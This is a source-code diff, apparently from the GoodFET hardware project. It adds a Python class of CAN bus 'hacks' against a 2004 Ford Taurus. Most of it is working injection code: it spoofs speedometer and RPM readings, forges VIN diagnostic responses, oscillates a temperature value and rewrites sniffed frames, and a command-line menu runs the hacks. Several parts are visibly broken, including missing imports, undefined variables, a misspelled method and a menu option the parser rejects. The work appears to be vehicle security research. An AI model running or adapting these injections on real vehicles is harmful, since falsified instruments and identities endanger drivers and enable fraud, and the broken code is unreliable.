import os
from random import randrange
from GoodFETMCPCAN import GoodFETMCPCAN;
+from experiments import experiments
from GoodFETMCPCANCommunication import GoodFETMCPCANCommunication
from intelhex import IntelHex;
import Queue
import math
-class FordExperiments(GoodFETMCPCANCommunication):
-
- def init(self):
- super(FordExperimetns,self).__init__(self) #initialize chip
+tT = time
+class FordExperiments(experiments):
+ """
+ This class is a subclass of experiments and is a car specific module for
+ demonstrating and testing hacks.
+ """
+ def __init__(self, dataLocation = "../../contrib/ThayerData/"):
+ GoodFETMCPCANCommunication.__init__(self, dataLocation)
+ #super(FordExperiments,self).__init__(self) #initialize chip
self.freq = 500;
def mimic1056(self,packetData,runTime):
#setup chip
self.client.serInit()
- self.spitSetup(500)
+ self.spitSetup(self.freq)
#FIGURE out how to clear buffers
self.addFilter([1056, 1056, 1056, 1056,1056, 1056], verbose=False)
packet1 = self.client.rxpacket();
while( (time.time()-recieveTime) < runTime):
#care about db3 or packet[8] that we want to count at the rate that it is
dT = time.time()-tpast
- packetValue += 1
+ packetValue += 10
pV = packetValue%255
#temp = ((packetValue+1))%2
#if( temp == 1):
tpast = time.time() #update our transmit time on the one before
print packetCount;
+ def getBackground(self,sId):
+ packet1 = self.client.rxpacket();
+ if(packet1 != None):
+ packetParsed = self.client.packet2parsed(packet1);
+ #keep sniffing till we read a packet
+ while( packet1 == None or packetParsed.get('sID') != sId ):
+ packet1 = self.client.rxpacket()
+ if(packet1 != None):
+ packetParsed = self.client.packet2parsed(packet1)
+
+ #recieveTime = time.time()
+ return packetParsed
+
+ def cycle4packets1279(self):
+ self.client.serInit()
+ self.spitSetup(500)
+ # filter on 1279
+ self.addFilter([1279, 1279, 1279, 1279, 1279, 1279], verbose = False)
+ packetParsed = self.getBackground(1279)
+ packet = []
+ if (packetParsed[db0] == 16):
+ # if it's the first of the four packets, replace the value in db7 with 83
+ packetParsed[db7] = 83
+ # transmit new packet
+ self.client.txpacket(packetParsed)
+ else:
+ # otherwise, leave it alone
+ # transmit same pakcet we read in
+ self.client.txpacket(packetParsed)
+ # print the packet we are transmitting
+ print packetParsed
+
+
+ def oscillateTemperature(self,time):
+ #setup chip
+ self.client.serInit()
+ self.spitSetup(500)
+ #FIGURE out how to clear buffers
+ self.addFilter([1056, 1056, 1056, 1056,1056, 1056], verbose=False)
+ packetParsed = self.getBackground(1056)
+ packet = []
+ #set data packet to match what was sniffed or at least what was input
+ for i in range(0,8):
+ idx = "db%d"%i
+ packet.append(ord(packetParsed.get(idx)))
+ packetValue = 0
+ packet[1] = packetValue;
+
+ print packet
+ #### split SID into different regs
+ SIDlow = (1056 & 0x07) << 5; # get SID bits 2:0, rotate them to bits 7:5
+ SIDhigh = (1056 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
+ packet = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
+ 0x08, # bit 6 must be set to 0 for data frame (1 for RTR)
+ # lower nibble is DLC
+ packet[0],packet[1],packet[2],packet[3],packet[4],packet[5],packet[6],packet[7]]
+ packetCount = 1;
+ self.client.txpacket(packet);
+ startTime = tT.time()
+ while( (tT.time()-startTime) < runTime):
+ dt = tT.time()-startTime
+ inputValue = ((2.0*math.pi)/20.0)*dt
+ value = 30*math.sin(inputValue)+130
+ print value
+ #packet[5] = int(value)
+ if( value > 130 ):
+ packet[5] = 160
+ else:
+ packet[5] = 100
+ #packet[6] = 1
+ print packet
+ self.client.txpacket(packet)
+ packetCount += 1
+ #tpast = time.time() #update our transmit time on the one before
+ print packetCount;
+
+
+ def fakeVIN(self):
+ #reset eveything on the chip
+ self.client.serInit()
+ self.reset()
+ duration = 20; #seconds
+
+ listenID = 2015
+ listenPacket = [2, 9, 6, 153, 153, 153, 153, 153]
+ responseID = 2024
+ #actual response by the car
+ #r1 = [34, 88, 0, 0, 0, 0, 0, 0]
+ #r2 = [33, 75, 50, 78, 51, 46, 72, 69 ]
+ #r3 = [16, 19, 73, 4, 1, 70, 65, 66]
+
+ r1 = [34, 88, 0, 0, 0, 0, 0, 0]
+ r2 = [33, 75, 50, 78, 51, 46, 72, 69 ]
+ r3 = [16, 19, 73, 160, 159, 70, 65, 66]
+
+ #format
+ SIDlow = (responseID & 0x07) << 5; # get SID bits 2:0, rotate them to bits 7:5
+ SIDhigh = (responseID >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
+ packet1 = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
+ 0x08, # bit 6 must be set to 0 for data frame (1 for RTR)
+ # lower nibble is DLC
+ r1[0],r1[1],r1[2],r1[3],r1[4],r1[5],r1[6],r1[7]]
+ packet2 = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
+ 0x08, # bit 6 must be set to 0 for data frame (1 for RTR)
+ # lower nibble is DLC
+ r2[0],r2[1],r2[2],r2[3],r2[4],r2[5],r2[6],r2[7]]
+ packet3 = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
+ 0x08, # bit 6 must be set to 0 for data frame (1 for RTR)
+ # lower nibble is DLC
+ r3[0],r3[1],r3[2],r3[3],r3[4],r3[5],r3[6],r3[7]]
+
+ self.multiPacketSpit(packet0 = r1, packet1 = r2, packet2 = r3, packet0rts = True, packet1rts = True, packet2rts = True)
+
+ #filter for the correct packet
+ self.filterForPacket(listenID, listenPacket[0],listenPacket[1], verbose = True)
+ self.client.rxpacket()
+ self.client.rxpacket() # flush buffers if there is anything
+ startTime = tT.time()
+ while( (tT.time() -startTime) < duration):
+ packet = self.client.rxpacket()
+ if( packet != None):
+ sid = ord(packet[0])<<3 | ord(packet[1])>>5
+ if( sid == listenID):
+ byte3 = ord(packet[6])
+ if( byte3 == listenPacket[3]):
+ print "SendingPackets!"
+ #send packets
+ self.multpackSpit(packet0rts=True,packet1rts=True,packet2rts=True)
+
+ def speedometerHack(self, inputs):
+
+ self.client.serInit()
+ self.spitSetup(500)
+
+ self.addFilter([513, 513, 513])
+
+ SIDlow = (513 & 0x07) << 5; # get SID bits 2:0, rotate them to bits 7:5
+ SIDhigh = (513 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
+
+ while(1):
+
+ packet = None;
+
+ # catch a packet and check its db4 value
+ while (packet == None):
+ packet=self.client.rxpacket();
+
+ print self.client.packet2str(packet)
+
+ print "DB4 = %02d " %ord(packet[9])
+ mph = 1.617*ord(packet[9]) - 63.5
+ print "Current MPH = 1.617(%d)-63.5 = %d" %(ord(packet[9]), mph)
+
+ # calculate our new mph and db4 value
+ mph = mph + inputs[0];
+ newSpeed = ( mph + 63.5 ) / 1.617
+ print "Fake MPH = 1.617(%d)-63.5 = %d" %(newSpeed, mph)
+
+
+ newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
+ 0x08, # bit 6 must be set to 0 for data frame (1 for RTR)
+ # lower nibble is DLC
+ ord(packet[5]),ord(packet[6]),ord(packet[7]),ord(packet[8]),int(newSpeed),ord(packet[10]),ord(packet[11]),ord(packet[12])]
+
+ # load new packet into TXB0 and check time
+ self.multiPacketSpit(packet0=newPacket, packet0rts=True)
+ starttime = time.time()
+
+ # spit new value for 1 second
+ while (time.time()-starttime < 1):
+ self.multiPacketSpit(packet0rts=True)
+
+ def rpmHack(self, inputs):
+ """
+ This method will increase the rpm by the given rpm amount.
+
+ @type inputs: List
+ @param inputs: Single element of a list that corresponds to the amount the user
+ wishses to
+ """
+
+ self.client.serInit()
+ self.spitSetup(500)
+
+ self.addFilter([513, 513, 513])
+
+ SIDlow = (513 & 0x07) << 5; # get SID bits 2:0, rotate them to bits 7:5
+ SIDhigh = (513 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
+
+ while(1):
+
+ packet = None;
+
+ # catch a packet and check its db4 value
+ while (packet == None):
+ packet=self.client.rxpacket();
+
+ print self.client.packet2str(packet)
+
+ print "DB4 = %02d " %ord(packet[5])
+ rpm = 64.5*ord(packet[5]) - 61.88
+ print "Current RPM = 64.5(%d)-61.88 = %d" %(ord(packet[5]), rpm)
+
+ # calculate our new mph and db4 value
+ rpm = rpm + inputs[0];
+ newRPM = ( rpm + 61.88 ) / 64.5
+ print "Fake RPM = 64.5(%d)-61.88 = %d" %(newRPM, rpm)
+
+
+ newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
+ 0x08, # bit 6 must be set to 0 for data frame (1 for RTR)
+ # lower nibble is DLC
+ int(newRPM),ord(packet[6]),ord(packet[7]),ord(packet[8]),ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
+
+ # load new packet into TXB0 and check time
+ self.multiPacketSpit(packet0=newPacket, packet0rts=True)
+ starttime = time.time()
+
+ # spit new value for 1 second
+ while (time.time()-starttime < 1):
+ self.multiPacketSpit(packet0rts=True)
+
+
+
if __name__ == "__main__":
- fe = FordExperiments();
- packetData = {}
- packetData['db4'] = 4;
- runTime = 10;
- #fe.mimic1056(packetData, runTime)
- fe.cycledb1_1056(runTime)
+
+ parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter,description='''\
+
+ Run Hacks on a Ford taurus 2004:
+
+ speedometerHack
+ fakeVIN
+ rpmHack
+ ''')
+ parser.add_argument('verb', choices=['speedometerHack', 'rpmHack']);
+ parser.add_argument('-v', '--variable', type=int, action='append', help='Input values to the method of choice', default=None);
+
+
+ args = parser.parse_args();
+ inputs = args.variable
+ fe = FordExperiments("../../contrib/ThayerData/");
+
+ if( args.verb == 'speedometerHack'):
+ fe.speedometerHack(inputs=inputs)
+ if( args.verb == 'rpmHack'):
+ fe.rpmHack(inputs=inputs)
+ elif( args.verb == 'fakeVIN'):
+ fe.fakeVIN()
+
+
projects / goodfet / blobdiff